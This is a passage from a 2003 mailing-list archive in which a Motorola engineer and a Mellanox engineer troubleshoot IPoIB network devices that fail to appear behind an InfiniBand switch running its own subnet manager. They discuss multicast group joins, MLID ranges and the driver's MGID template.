with IBTA 1.1 spec compliance, in that, if a group that is being =
attempted to be joined to doesn't exist, we don't create it. the 1.1 =
spec, I believe, calls out that the group should be created.
=20
To further aide in my testing, do you happen to know what LID the the =
multicast group is supposed to be? Base lid? 0xC000?=20
=20
Once I do my second test, I will try to manually create a multicast =
group for IPoIB to join and then see if it works. But, your help in =
telling me which lid to use will make that easier. Thank you
=20
=20
Ashwin Bihari
Motorola Computer Group
=20
-----Original Message-----
From: Chanan Shamir [mailto:Ch...@Me...]=20
Sent: Thursday, August 28, 2003 2:16 PM
To: 'Bihari Ashwin-Q3316C'
Cc: inf...@li...
Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch
The setup operations of the IPoIB driver are as follows:
1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular =
port.
2. IPoIB then attempts to join the IPoIB multicast group.
3. Once the join completes successfully - IPoIB creates the network =
device you see with 'ifconfig -a'.
=20
For step 2 to succeed an SM must be running, which can manage multicast =
groups and re-configure the multicast FDB in the fabric's switches.
OpenSM can do the above, is this also the case for the SM you have =
running on the switch ?
Try to disable the SM on the switch and run OpenSM on one of the nodes =
to discover and configure the fabric.
=20
Chanan Shamir
Mellanox Technologies
=20
-----Original Message-----
From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...]
Sent: Thursday, August 28, 2003 10:35 AM
To: 'inf...@li...'
Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch
I'm attempting to do some work with the IPoIB code provided on the =
Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's =
as well as a full-blown Infiniband Switch.
=20
Currently to verify that things would work I followed the full =
procedures as outlined in the SDK INSTALL.txt and built all the code. =
Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged =
to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I =
get 2 the IB devices (ib010 and ib020). I can then assign an IP address =
to these devices and ping them. Wonderful.
=20
Now I changed the enviroment. I took two machines with the HCA's in =
them. I took an Infiniband switch and plugged all ports from the HCA's =
to the switch. The switch is running the SM and is the master. The =
discovery happens as it should, the HCA's show up as nodes on the =
topology, they get assinged their LID's and their GUID's show up in the =
switchs topology display. Everything good so far.
=20
I then go ahead and load the IPoIB driver on both the HCA machines and =
expect to see the IB devices with "ifconfig -a", but I don't.
=20
So my questions are as follows:
=20
1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the =
IB devices.
2) Is my test enviornment of having an external switch managing the =
network an inappropriate one.
3) Is there anything specific that I have to do with Multicast groups to =
allow for this all to work.
=20
The end result I want to be able to do is something as follows:
=20
HCA1 Switch =
HCA2
Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port =
1 (10.0.0.2)
=20
I want to be able to on the machine with HCA1 and then ping Port 2 =
(10.0.0.2) on HCA2. The path should be as described there. I then want =
to ping the other way from HCA2.=20
=20
My next test would be something like this.
=20
HCA1 Switch =
HCA2
Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port =
1 (10.0.0.2)
Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port =
2 (10.0.0.4)
=20
I want to do the same ping test across the switch to the opposite HCA =
and see if it works and so on.
=20
This is my end-case result. If anyone could tell me what I'm doing wrong =
or should do differently, I would greatly appreciate it. Thank you.
=20
Ashwin Bihari
Motorola Computer Group
=20
|
|
From: Chanan S. <Ch...@Me...> - 2003-09-02 16:59:54
|
The MGID templates are defined in linux/drivers/iba/net/ipoib/ipoib_ca.c as broadcast_mgid_template. The 'scope' (default 0x12) and 'P_Key' portions of the MGID are variable. Chanan -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Tuesday, September 02, 2003 8:36 AM To: Chanan Shamir Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Chanan, Our switch software is capable of supporting joining and leaving a multicast group, but it would seem that the 1.1 spec calls out that a join to a nonexistant group should trigger the creation of it by the SM. But our SM doesn't do that and so the network devices don't show up. So for now I will create the multicast group and would like to get the IPoIB software use that group. The MLID is indeed SM defined and the first group gets the value of 0xC001 with some GID. You state that the MGID is pre-defined, does that mean that the IPoIB software uses a particular MGID when joining the group. If so, what is the MGID value, and where is it defined within the confines of the IPoIB software. Thank you ---- Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 3:10 PM To: Bihari Ashwin-Q3316C Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Bihari, To the issues you raised: - Creating the mcast group - My understanding is that today opensm creates the IPoIB mcast group, in lieu of having some administrative entity do it. - The MGID for the group is pre-defined - The MLID are assigned by OpenSM and have to be in the range 0xC000-0xFFFF chanan -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 12:10 PM To: Chanan Shamir Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Chanan, Thank you for the prompt reply. I am beginning to better understand how this is supposed to work. I tried a little test by connecting the two HCA's port 1 directly to each other. Ran OpenSM on one of the nodes, and then ran IPoIB on both the nodes, got the appropriate IB devices, ifconfig'ed them to IP addresses and could successfully ping. I will re-do this test with the switch inbetween not running the SM to make sure that works as well. Our switch is indeed capable of handling all multicast requests and configuration of the switch chips. However, we may have a slight issue with IBTA 1.1 spec compliance, in that, if a group that is being attempted to be joined to doesn't exist, we don't create it. the 1.1 spec, I believe, calls out that the group should be created. To further aide in my testing, do you happen to know what LID the the multicast group is supposed to be? Base lid? 0xC000? Once I do my second test, I will try to manually create a multicast group for IPoIB to join and then see if it works. But, your help in telling me which lid to use will make that easier. Thank you Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 2:16 PM To: 'Bihari Ashwin-Q3316C' Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch The setup operations of the IPoIB driver are as follows: 1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular port. 2. IPoIB then attempts to join the IPoIB multicast group. 3. Once the join completes successfully - IPoIB creates the network device you see with 'ifconfig -a'. For step 2 to succeed an SM must be running, which can manage multicast groups and re-configure the multicast FDB in the fabric's switches. OpenSM can do the above, is this also the case for the SM you have running on the switch ? Try to disable the SM on the switch and run OpenSM on one of the nodes to discover and configure the fabric. Chanan Shamir Mellanox Technologies -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 10:35 AM To: 'inf...@li...' Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch I'm attempting to do some work with the IPoIB code provided on the Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's as well as a full-blown Infiniband Switch. Currently to verify that things would work I followed the full procedures as outlined in the SDK INSTALL.txt and built all the code. Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I get 2 the IB devices (ib010 and ib020). I can then assign an IP address to these devices and ping them. Wonderful. Now I changed the enviroment. I took two machines with the HCA's in them. I took an Infiniband switch and plugged all ports from the HCA's to the switch. The switch is running the SM and is the master. The discovery happens as it should, the HCA's show up as nodes on the topology, they get assinged their LID's and their GUID's show up in the switchs topology display. Everything good so far. I then go ahead and load the IPoIB driver on both the HCA machines and expect to see the IB devices with "ifconfig -a", but I don't. So my questions are as follows: 1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the IB devices. 2) Is my test enviornment of having an external switch managing the network an inappropriate one. 3) Is there anything specific that I have to do with Multicast groups to allow for this all to work. The end result I want to be able to do is something as follows: HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) I want to be able to on the machine with HCA1 and then ping Port 2 (10.0.0.2) on HCA2. The path should be as described there. I then want to ping the other way from HCA2. My next test would be something like this. HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port 2 (10.0.0.4) I want to do the same ping test across the switch to the opposite HCA and see if it works and so on. This is my end-case result. If anyone could tell me what I'm doing wrong or should do differently, I would greatly appreciate it. Thank you. Ashwin Bihari Motorola Computer Group |
|
From: Bihari Ashwin-Q. <Q3...@mo...> - 2003-09-02 15:36:14
|
Chanan, Our switch software is capable of supporting joining and leaving a multicast group, but it would seem that the 1.1 spec calls out that a join to a nonexistant group should trigger the creation of it by the SM. But our SM doesn't do that and so the network devices don't show up. So for now I will create the multicast group and would like to get the IPoIB software use that group. The MLID is indeed SM defined and the first group gets the value of 0xC001 with some GID. You state that the MGID is pre-defined, does that mean that the IPoIB software uses a particular MGID when joining the group. If so, what is the MGID value, and where is it defined within the confines of the IPoIB software. Thank you ---- Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 3:10 PM To: Bihari Ashwin-Q3316C Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Bihari, To the issues you raised: - Creating the mcast group - My understanding is that today opensm creates the IPoIB mcast group, in lieu of having some administrative entity do it. - The MGID for the group is pre-defined - The MLID are assigned by OpenSM and have to be in the range 0xC000-0xFFFF chanan -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 12:10 PM To: Chanan Shamir Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Chanan, Thank you for the prompt reply. I am beginning to better understand how this is supposed to work. I tried a little test by connecting the two HCA's port 1 directly to each other. Ran OpenSM on one of the nodes, and then ran IPoIB on both the nodes, got the appropriate IB devices, ifconfig'ed them to IP addresses and could successfully ping. I will re-do this test with the switch inbetween not running the SM to make sure that works as well. Our switch is indeed capable of handling all multicast requests and configuration of the switch chips. However, we may have a slight issue with IBTA 1.1 spec compliance, in that, if a group that is being attempted to be joined to doesn't exist, we don't create it. the 1.1 spec, I believe, calls out that the group should be created. To further aide in my testing, do you happen to know what LID the the multicast group is supposed to be? Base lid? 0xC000? Once I do my second test, I will try to manually create a multicast group for IPoIB to join and then see if it works. But, your help in telling me which lid to use will make that easier. Thank you Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 2:16 PM To: 'Bihari Ashwin-Q3316C' Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch The setup operations of the IPoIB driver are as follows: 1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular port. 2. IPoIB then attempts to join the IPoIB multicast group. 3. Once the join completes successfully - IPoIB creates the network device you see with 'ifconfig -a'. For step 2 to succeed an SM must be running, which can manage multicast groups and re-configure the multicast FDB in the fabric's switches. OpenSM can do the above, is this also the case for the SM you have running on the switch ? Try to disable the SM on the switch and run OpenSM on one of the nodes to discover and configure the fabric. Chanan Shamir Mellanox Technologies -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 10:35 AM To: 'inf...@li...' Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch I'm attempting to do some work with the IPoIB code provided on the Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's as well as a full-blown Infiniband Switch. Currently to verify that things would work I followed the full procedures as outlined in the SDK INSTALL.txt and built all the code. Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I get 2 the IB devices (ib010 and ib020). I can then assign an IP address to these devices and ping them. Wonderful. Now I changed the enviroment. I took two machines with the HCA's in them. I took an Infiniband switch and plugged all ports from the HCA's to the switch. The switch is running the SM and is the master. The discovery happens as it should, the HCA's show up as nodes on the topology, they get assinged their LID's and their GUID's show up in the switchs topology display. Everything good so far. I then go ahead and load the IPoIB driver on both the HCA machines and expect to see the IB devices with "ifconfig -a", but I don't. So my questions are as follows: 1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the IB devices. 2) Is my test enviornment of having an external switch managing the network an inappropriate one. 3) Is there anything specific that I have to do with Multicast groups to allow for this all to work. The end result I want to be able to do is something as follows: HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) I want to be able to on the machine with HCA1 and then ping Port 2 (10.0.0.2) on HCA2. The path should be as described there. I then want to ping the other way from HCA2. My next test would be something like this. HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port 2 (10.0.0.4) I want to do the same ping test across the switch to the opposite HCA and see if it works and so on. This is my end-case result. If anyone could tell me what I'm doing wrong or should do differently, I would greatly appreciate it. Thank you. Ashwin Bihari Motorola Computer Group |
|
From: Chanan S. <Ch...@Me...> - 2003-08-28 19:15:22
|
Bihari, To the issues you raised: - Creating the mcast group - My understanding is that today opensm creates the IPoIB mcast group, in lieu of having some administrative entity do it. - The MGID for the group is pre-defined - The MLID are assigned by OpenSM and have to be in the range 0xC000-0xFFFF chanan -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 12:10 PM To: Chanan Shamir Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch Chanan, Thank you for the prompt reply. I am beginning to better understand how this is supposed to work. I tried a little test by connecting the two HCA's port 1 directly to each other. Ran OpenSM on one of the nodes, and then ran IPoIB on both the nodes, got the appropriate IB devices, ifconfig'ed them to IP addresses and could successfully ping. I will re-do this test with the switch inbetween not running the SM to make sure that works as well. Our switch is indeed capable of handling all multicast requests and configuration of the switch chips. However, we may have a slight issue with IBTA 1.1 spec compliance, in that, if a group that is being attempted to be joined to doesn't exist, we don't create it. the 1.1 spec, I believe, calls out that the group should be created. To further aide in my testing, do you happen to know what LID the the multicast group is supposed to be? Base lid? 0xC000? Once I do my second test, I will try to manually create a multicast group for IPoIB to join and then see if it works. But, your help in telling me which lid to use will make that easier. Thank you Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 2:16 PM To: 'Bihari Ashwin-Q3316C' Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch The setup operations of the IPoIB driver are as follows: 1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular port. 2. IPoIB then attempts to join the IPoIB multicast group. 3. Once the join completes successfully - IPoIB creates the network device you see with 'ifconfig -a'. For step 2 to succeed an SM must be running, which can manage multicast groups and re-configure the multicast FDB in the fabric's switches. OpenSM can do the above, is this also the case for the SM you have running on the switch ? Try to disable the SM on the switch and run OpenSM on one of the nodes to discover and configure the fabric. Chanan Shamir Mellanox Technologies -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 10:35 AM To: 'inf...@li...' Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch I'm attempting to do some work with the IPoIB code provided on the Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's as well as a full-blown Infiniband Switch. Currently to verify that things would work I followed the full procedures as outlined in the SDK INSTALL.txt and built all the code. Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I get 2 the IB devices (ib010 and ib020). I can then assign an IP address to these devices and ping them. Wonderful. Now I changed the enviroment. I took two machines with the HCA's in them. I took an Infiniband switch and plugged all ports from the HCA's to the switch. The switch is running the SM and is the master. The discovery happens as it should, the HCA's show up as nodes on the topology, they get assinged their LID's and their GUID's show up in the switchs topology display. Everything good so far. I then go ahead and load the IPoIB driver on both the HCA machines and expect to see the IB devices with "ifconfig -a", but I don't. So my questions are as follows: 1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the IB devices. 2) Is my test enviornment of having an external switch managing the network an inappropriate one. 3) Is there anything specific that I have to do with Multicast groups to allow for this all to work. The end result I want to be able to do is something as follows: HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) I want to be able to on the machine with HCA1 and then ping Port 2 (10.0.0.2) on HCA2. The path should be as described there. I then want to ping the other way from HCA2. My next test would be something like this. HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port 2 (10.0.0.4) I want to do the same ping test across the switch to the opposite HCA and see if it works and so on. This is my end-case result. If anyone could tell me what I'm doing wrong or should do differently, I would greatly appreciate it. Thank you. Ashwin Bihari Motorola Computer Group |
|
From: Bihari Ashwin-Q. <Q3...@mo...> - 2003-08-28 19:09:34
|
Chanan, Thank you for the prompt reply. I am beginning to better understand how this is supposed to work. I tried a little test by connecting the two HCA's port 1 directly to each other. Ran OpenSM on one of the nodes, and then ran IPoIB on both the nodes, got the appropriate IB devices, ifconfig'ed them to IP addresses and could successfully ping. I will re-do this test with the switch inbetween not running the SM to make sure that works as well. Our switch is indeed capable of handling all multicast requests and configuration of the switch chips. However, we may have a slight issue with IBTA 1.1 spec compliance, in that, if a group that is being attempted to be joined to doesn't exist, we don't create it. the 1.1 spec, I believe, calls out that the group should be created. To further aide in my testing, do you happen to know what LID the the multicast group is supposed to be? Base lid? 0xC000? Once I do my second test, I will try to manually create a multicast group for IPoIB to join and then see if it works. But, your help in telling me which lid to use will make that easier. Thank you Ashwin Bihari Motorola Computer Group -----Original Message----- From: Chanan Shamir [mailto:Ch...@Me...] Sent: Thursday, August 28, 2003 2:16 PM To: 'Bihari Ashwin-Q3316C' Cc: inf...@li... Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch The setup operations of the IPoIB driver are as follows: 1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular port. 2. IPoIB then attempts to join the IPoIB multicast group. 3. Once the join completes successfully - IPoIB creates the network device you see with 'ifconfig -a'. For step 2 to succeed an SM must be running, which can manage multicast groups and re-configure the multicast FDB in the fabric's switches. OpenSM can do the above, is this also the case for the SM you have running on the switch ? Try to disable the SM on the switch and run OpenSM on one of the nodes to discover and configure the fabric. Chanan Shamir Mellanox Technologies -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 10:35 AM To: 'inf...@li...' Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch I'm attempting to do some work with the IPoIB code provided on the Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's as well as a full-blown Infiniband Switch. Currently to verify that things would work I followed the full procedures as outlined in the SDK INSTALL.txt and built all the code. Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I get 2 the IB devices (ib010 and ib020). I can then assign an IP address to these devices and ping them. Wonderful. Now I changed the enviroment. I took two machines with the HCA's in them. I took an Infiniband switch and plugged all ports from the HCA's to the switch. The switch is running the SM and is the master. The discovery happens as it should, the HCA's show up as nodes on the topology, they get assinged their LID's and their GUID's show up in the switchs topology display. Everything good so far. I then go ahead and load the IPoIB driver on both the HCA machines and expect to see the IB devices with "ifconfig -a", but I don't. So my questions are as follows: 1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the IB devices. 2) Is my test enviornment of having an external switch managing the network an inappropriate one. 3) Is there anything specific that I have to do with Multicast groups to allow for this all to work. The end result I want to be able to do is something as follows: HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) I want to be able to on the machine with HCA1 and then ping Port 2 (10.0.0.2) on HCA2. The path should be as described there. I then want to ping the other way from HCA2. My next test would be something like this. HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port 2 (10.0.0.4) I want to do the same ping test across the switch to the opposite HCA and see if it works and so on. This is my end-case result. If anyone could tell me what I'm doing wrong or should do differently, I would greatly appreciate it. Thank you. Ashwin Bihari Motorola Computer Group |
|
From: Chanan S. <Ch...@Me...> - 2003-08-28 18:20:40
|
The setup operations of the IPoIB driver are as follows: 1. IPoIB receives an IB_PNP_PKEY_CHANGE notification for a particular port. 2. IPoIB then attempts to join the IPoIB multicast group. 3. Once the join completes successfully - IPoIB creates the network device you see with 'ifconfig -a'. For step 2 to succeed an SM must be running, which can manage multicast groups and re-configure the multicast FDB in the fabric's switches. OpenSM can do the above, is this also the case for the SM you have running on the switch ? Try to disable the SM on the switch and run OpenSM on one of the nodes to discover and configure the fabric. Chanan Shamir Mellanox Technologies -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Thursday, August 28, 2003 10:35 AM To: 'inf...@li...' Subject: [Infiniband-ipoib] IPoIB with Infiniband Switch I'm attempting to do some work with the IPoIB code provided on the Sourceforge site. I've got a couple of Mellanox MT23108 InfiniHost HCA's as well as a full-blown Infiniband Switch. Currently to verify that things would work I followed the full procedures as outlined in the SDK INSTALL.txt and built all the code. Ran "opensm" and then loaded the IPoIB driver with a 4x IB cable plugged to the back of the 2 HCA ports. Immediately when I do "ifconfig -a" I get 2 the IB devices (ib010 and ib020). I can then assign an IP address to these devices and ping them. Wonderful. Now I changed the enviroment. I took two machines with the HCA's in them. I took an Infiniband switch and plugged all ports from the HCA's to the switch. The switch is running the SM and is the master. The discovery happens as it should, the HCA's show up as nodes on the topology, they get assinged their LID's and their GUID's show up in the switchs topology display. Everything good so far. I then go ahead and load the IPoIB driver on both the HCA machines and expect to see the IB devices with "ifconfig -a", but I don't. So my questions are as follows: 1) Is it is REQUIRED that I have OpenSM running for IPoIB to show me the IB devices. 2) Is my test enviornment of having an external switch managing the network an inappropriate one. 3) Is there anything specific that I have to do with Multicast groups to allow for this all to work. The end result I want to be able to do is something as follows: HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) I want to be able to on the machine with HCA1 and then ping Port 2 (10.0.0.2) on HCA2. The path should be as described there. I then want to ping the other way from HCA2. My next test would be something like this. HCA1 Switch HCA2 Port 1 (10.0.0.1) <-------------> Port 1 <-> Port 5 <------------> Port 1 (10.0.0.2) Port 2 (10.0.0.2) <-------------> Port 2 <-> Port 6 <------------> Port 2 (10.0.0.4) I want to do the same ping test across the switch to the opposite HCA and see if it works and so on. This is my end-case result. If anyone could tell me what I'm doing wrong or should do differently, I would greatly appreciate it. Thank you. Ashwin Bihari Motorola Computer Group |
1 message has been excluded from this view by a project administrator.